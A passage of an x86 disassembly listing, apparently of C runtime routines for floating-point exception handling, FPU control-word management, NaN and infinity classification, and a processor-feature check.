lea eax, [ebp+var_58]
push eax
call sub_41C040
add esp, 18h
loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj
push [ebp+arg_0]
call sub_41C5DD
cmp dword_43BF38, 0
pop ecx
jnz short loc_41C024
test eax, eax
jz short loc_41C024
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_41C50A
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_41C024: ; CODE XREF: sub_41BFA8+4Ej
; sub_41BFA8+52j
push eax
call sub_41C592
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_41C77D
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_41BFA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_41C072
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_41C072: ; CODE XREF: sub_41C040+23j
test cl, 2
jz short loc_41C085
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_41C085: ; CODE XREF: sub_41C040+35j
test cl, bl
jz short loc_41C097
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_41C097: ; CODE XREF: sub_41C040+47j
test cl, 4
jz short loc_41C0AA
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_41C0AA: ; CODE XREF: sub_41C040+5Aj
test cl, 8
jz short loc_41C0BD
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_41C0BD: ; CODE XREF: sub_41C040+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41C760
test al, bl
jz short loc_41C146
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_41C146: ; CODE XREF: sub_41C040+FDj
test al, 4
jz short loc_41C151
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41C151: ; CODE XREF: sub_41C040+108j
test al, 8
jz short loc_41C15C
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41C15C: ; CODE XREF: sub_41C040+113j
test al, 10h
jz short loc_41C166
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41C166: ; CODE XREF: sub_41C040+11Ej
test al, 20h
jz short loc_41C170
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41C170: ; CODE XREF: sub_41C040+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_41C1AF
cmp eax, 400h
jz short loc_41C1A1
cmp eax, 800h
jz short loc_41C195
cmp eax, ecx
jnz short loc_41C1B5
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41C1B5
; ---------------------------------------------------------------------------
loc_41C195: ; CODE XREF: sub_41C040+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_41C1AB
; ---------------------------------------------------------------------------
loc_41C1A1: ; CODE XREF: sub_41C040+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_41C1AB: ; CODE XREF: sub_41C040+15Fj
mov [eax], ecx
jmp short loc_41C1B5
; ---------------------------------------------------------------------------
loc_41C1AF: ; CODE XREF: sub_41C040+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41C1B5: ; CODE XREF: sub_41C040+14Bj
; sub_41C040+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_41C1E0
cmp eax, 200h
jz short loc_41C1D3
cmp eax, ecx
jnz short loc_41C1ED
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_41C1ED
; ---------------------------------------------------------------------------
loc_41C1D3: ; CODE XREF: sub_41C040+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_41C1EB
; ---------------------------------------------------------------------------
loc_41C1E0: ; CODE XREF: sub_41C040+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_41C1EB: ; CODE XREF: sub_41C040+19Ej
mov [eax], ecx
loc_41C1ED: ; CODE XREF: sub_41C040+189j
; sub_41C040+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41C76E
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 2840000h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_41C267
and dword ptr [esi], 0FFFFFFFEh
loc_41C267: ; CODE XREF: sub_41C040+222j
test byte ptr [eax+8], 8
jz short loc_41C270
and dword ptr [esi], 0FFFFFFFBh
loc_41C270: ; CODE XREF: sub_41C040+22Bj
test byte ptr [eax+8], 4
jz short loc_41C279
and dword ptr [esi], 0FFFFFFF7h
loc_41C279: ; CODE XREF: sub_41C040+234j
test byte ptr [eax+8], 2
jz short loc_41C282
and dword ptr [esi], 0FFFFFFEFh
loc_41C282: ; CODE XREF: sub_41C040+23Dj
test [eax+8], bl
jz short loc_41C28A
and dword ptr [esi], 0FFFFFFDFh
loc_41C28A: ; CODE XREF: sub_41C040+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_41C2BE
dec ecx
jz short loc_41C2B2
dec ecx
jz short loc_41C2A8
dec ecx
jnz short loc_41C2C0
or byte ptr [esi+1], 0Ch
jmp short loc_41C2C0
; ---------------------------------------------------------------------------
loc_41C2A8: ; CODE XREF: sub_41C040+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_41C2BA
; ---------------------------------------------------------------------------
loc_41C2B2: ; CODE XREF: sub_41C040+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_41C2BA: ; CODE XREF: sub_41C040+270j
mov [esi], ecx
jmp short loc_41C2C0
; ---------------------------------------------------------------------------
loc_41C2BE: ; CODE XREF: sub_41C040+257j
and [esi], edx
loc_41C2C0: ; CODE XREF: sub_41C040+260j
; sub_41C040+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_41C2E0
dec ecx
jz short loc_41C2D7
dec ecx
jnz short loc_41C2E9
and [esi], edx
jmp short loc_41C2E9
; ---------------------------------------------------------------------------
loc_41C2D7: ; CODE XREF: sub_41C040+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_41C2E7
; ---------------------------------------------------------------------------
loc_41C2E0: ; CODE XREF: sub_41C040+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_41C2E7: ; CODE XREF: sub_41C040+29Ej
mov [esi], ecx
loc_41C2E9: ; CODE XREF: sub_41C040+291j
; sub_41C040+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41C040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41C31E
test byte ptr [ebp+arg_8], bl
jz short loc_41C31E
push ebx
call sub_41C7A0
pop ecx
and edi, 0FFFFFFF7h
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C31E: ; CODE XREF: sub_41C2F3+15j
; sub_41C2F3+1Aj
test al, 4
jz short loc_41C338
test byte ptr [ebp+arg_8], 4
jz short loc_41C338
push 4
call sub_41C7A0
pop ecx
and edi, 0FFFFFFFBh
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C338: ; CODE XREF: sub_41C2F3+2Dj
; sub_41C2F3+33j
test al, bl
jz loc_41C412
test byte ptr [ebp+arg_8], 8
jz loc_41C412
push 8
call sub_41C7A0
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_41C3EA
cmp ecx, 400h
jz short loc_41C3C2
cmp ecx, 800h
jz short loc_41C39A
cmp ecx, eax
jnz loc_41C40A
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fld dbl_43B8D0
fnstsw ax
sahf
ja short loc_41C392
fchs
loc_41C392: ; CODE XREF: sub_41C2F3+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C408
; ---------------------------------------------------------------------------
loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fnstsw ax
sahf
jbe short loc_41C3B2
fld dbl_43B8C0
jmp short loc_41C3BA
; ---------------------------------------------------------------------------
loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j
fld dbl_43B8D0
fchs
loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C408
; ---------------------------------------------------------------------------
loc_41C3C2: ; CODE XREF: sub_41C2F3+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fnstsw ax
sahf
jbe short loc_41C3DA
fld dbl_43B8D0
jmp short loc_41C3E2
; ---------------------------------------------------------------------------
loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj
fld dbl_43B8C0
fchs
loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41C408
; ---------------------------------------------------------------------------
loc_41C3EA: ; CODE XREF: sub_41C2F3+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_424818
fld dbl_43B8C0
fnstsw ax
sahf
ja short loc_41C402
fchs
loc_41C402: ; CODE XREF: sub_41C2F3+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_41C408: ; CODE XREF: sub_41C2F3+A5j
; sub_41C2F3+CDj ...
fstp qword ptr [ecx]
loc_41C40A: ; CODE XREF: sub_41C2F3+81j
and edi, 0FFFFFFFEh
jmp loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C412: ; CODE XREF: sub_41C2F3+47j
; sub_41C2F3+51j
test al, 2
jz loc_41C4E8
test byte ptr [ebp+arg_8], 10h
jz loc_41C4E8
push esi
xor esi, esi
test al, 10h
jz short loc_41C42D
mov esi, ebx
loc_41C42D: ; CODE XREF: sub_41C2F3+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_424818
fnstsw ax
sahf
jz loc_41C4D6
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41C69F
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_41C478
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_41C4CC
; ---------------------------------------------------------------------------
loc_41C478: ; CODE XREF: sub_41C2F3+17Aj
fld [ebp+var_C]
fcomp dbl_424818
fnstsw ax
sahf
jnb short loc_41C48A
mov edx, ebx
jmp short loc_41C48C
; ---------------------------------------------------------------------------
loc_41C48A: ; CODE XREF: sub_41C2F3+191j
xor edx, edx
loc_41C48C: ; CODE XREF: sub_41C2F3+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_41C4C0
sub eax, ecx
loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_41C4AE
test esi, esi
jnz short loc_41C4AE
mov esi, ebx
loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j
; sub_41C2F3+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_41C4BA
or byte ptr [ebp+var_C+3], 80h
loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41C4A3
loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj
test edx, edx
jz short loc_41C4CC
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_41C4CC: ; CODE XREF: sub_41C2F3+183j
; sub_41C2F3+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_41C4D8
; ---------------------------------------------------------------------------
loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej
mov esi, ebx
loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j
test esi, esi
pop esi
jz short loc_41C4E5
push 10h
call sub_41C7A0
pop ecx
loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j
and edi, 0FFFFFFFDh
loc_41C4E8: ; CODE XREF: sub_41C2F3+26j
; sub_41C2F3+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_41C4FF
test byte ptr [ebp+arg_8], 20h
jz short loc_41C4FF
push 20h
call sub_41C7A0
pop ecx
and edi, 0FFFFFFEFh
loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j
; sub_41C2F3+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41C2F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)
sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp
; sub_41BFA8+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_41C5B8
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_41C575
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_41C77D
lea eax, [ebp+var_20]
push eax
call sub_42017F
add esp, 0Ch
test eax, eax
jnz short loc_41C56F
push esi
call sub_41C592
pop ecx
loc_41C56F: ; CODE XREF: sub_41C50A+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41C575: ; CODE XREF: sub_41C50A+14j
push 0FFFFh
push [ebp+arg_20]
call sub_41C77D
push [ebp+arg_0]
call sub_41C592
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_41C50A endp
; =============== S U B R O U T I N E =======================================
sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp
; sub_41C50A+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_41C5AD
jle short locret_41C5B7
cmp eax, 3
jg short locret_41C5B7
mov dword_48A014, 22h
retn
; ---------------------------------------------------------------------------
loc_41C5AD: ; CODE XREF: sub_41C592+7j
mov dword_48A014, 21h
locret_41C5B7: ; CODE XREF: sub_41C592+9j
; sub_41C592+Ej
retn
sub_41C592 endp
; =============== S U B R O U T I N E =======================================
sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43B7E8
loc_41C5BF: ; CODE XREF: sub_41C5B8+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_41C5D5
add eax, 8
inc ecx
cmp eax, offset dbl_43B8C0
jl short loc_41C5BF
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj
mov eax, off_43B7EC[ecx*8]
retn
sub_41C5B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_41C5E9
push 5
jmp short loc_41C5FF
; ---------------------------------------------------------------------------
loc_41C5E9: ; CODE XREF: sub_41C5DD+6j
test al, 8
jz short loc_41C5F1
push 1
jmp short loc_41C5FF
; ---------------------------------------------------------------------------
loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej
test al, 4
jz short loc_41C5F9
push 2
jmp short loc_41C5FF
; ---------------------------------------------------------------------------
loc_41C5F9: ; CODE XREF: sub_41C5DD+16j
test al, 1
jz short loc_41C601
push 3
loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj
; sub_41C5DD+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C601: ; CODE XREF: sub_41C5DD+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_41C5DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C60A(double)
sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap
; sub_417DEB:loc_417E71p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_41C60A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C61C(double,int)
sub_41C61C proc near ; CODE XREF: sub_41C69F+82p
; sub_41C69F+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_41C61C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_417CA4+31p
; sub_417DEB+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_41C65C
cmp [ebp+arg_0], edx
jnz short loc_41C66E
push 1
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C65C: ; CODE XREF: sub_41C645+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41C66E
cmp [ebp+arg_0], edx
jnz short loc_41C66E
push 2
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C66E: ; CODE XREF: sub_41C645+11j
; sub_41C645+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_41C681
push 3
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C681: ; CODE XREF: sub_41C645+36j
cmp cx, 7FF0h
jnz short loc_41C69B
test [ebp+arg_4], 7FFFFh
jnz short loc_41C696
cmp [ebp+arg_0], edx
jz short loc_41C69B
loc_41C696: ; CODE XREF: sub_41C645+4Aj
push 4
loc_41C698: ; CODE XREF: sub_41C645+15j
; sub_41C645+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C69B: ; CODE XREF: sub_41C645+41j
; sub_41C645+4Fj
xor eax, eax
pop ebp
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C69F(double,int)
sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_424818
push esi
fnstsw ax
sahf
jnz short loc_41C6BF
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_41C755
; ---------------------------------------------------------------------------
loc_41C6BF: ; CODE XREF: sub_41C69F+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_41C72E
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_41C6D7
cmp dword ptr [ebp+arg_0], ecx
jz short loc_41C72E
loc_41C6D7: ; CODE XREF: sub_41C69F+31j
fld [ebp+arg_0]
fcomp dbl_424818
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_41C6EF
push 1
pop eax
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C6EF: ; CODE XREF: sub_41C69F+49j
xor eax, eax
loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej
; sub_41C69F+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_41C70A
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_41C704
or dword ptr [ebp+arg_0+4], 1
loc_41C704: ; CODE XREF: sub_41C69F+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C70A: ; CODE XREF: sub_41C69F+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_41C718
or byte ptr [ebp+arg_0+7], 80h
loc_41C718: ; CODE XREF: sub_41C69F+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41C61C
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_41C755
; ---------------------------------------------------------------------------
loc_41C72E: ; CODE XREF: sub_41C69F+28j
; sub_41C69F+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41C61C
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_41C755: ; CODE XREF: sub_41C69F+1Bj
; sub_41C69F+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41C69F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C760 proc near ; CODE XREF: sub_41C040+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C76E proc near ; CODE XREF: sub_41C040+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41C76E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C77D proc near ; CODE XREF: sub_417CA4+13p
; sub_417CA4+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_41C77D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp
; sub_41C2F3+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_41C7B7
fld tbyte_43B8E8
fistp [ebp+arg_0]
wait
loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj
test cl, 8
jz short loc_41C7CC
fstsw ax
fld tbyte_43B8E8
fstp [ebp+var_8]
wait
fstsw ax
loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj
test cl, 10h
jz short loc_41C7DB
fld tbyte_43B8F4
fstp [ebp+var_8]
wait
loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj
test cl, 4
jz short loc_41C7E9
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej
test cl, 20h
jz short locret_41C7F4
fldpi
fstp [ebp+var_8]
wait
locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj
leave
retn
sub_41C7A0 endp
; =============== S U B R O U T I N E =======================================
sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp
push 30000h
push 10000h
call sub_4201B7
pop ecx
pop ecx
retn
sub_41C7F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_424828
fstp [ebp+var_8]
fld dbl_424820
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4246A8
fnstsw ax
sahf
jbe short loc_41C842
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41C842: ; CODE XREF: sub_41C808+33j
xor eax, eax
leave
retn
sub_41C808 endp
; =============== S U B R O U T I N E =======================================
sub_41C846 proc near ; CODE XREF: sub_417D73+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 2700B59h
test eax, eax
jz short loc_41C86A
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26D0588h
test eax, eax
jz short loc_41C86A
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_41C86A: ; CODE XREF: sub_41C846+Dj
; sub_41C846+1Dj
jmp sub_41C808
sub_41C846 endp
; =============== S U B R O U T I N E =======================================
sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp
; DATA XREF: sub_417D8B+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_419101
cmp eax, 65h
pop ecx
jz short loc_41C8AF
loc_41C883: ; CODE XREF: sub_41C86F+3Ej
inc esi
cmp dword_4397AC, 1
jle short loc_41C89C
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_41C8AB
; ---------------------------------------------------------------------------
loc_41C89C: ; CODE XREF: sub_41C86F+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_4395A0
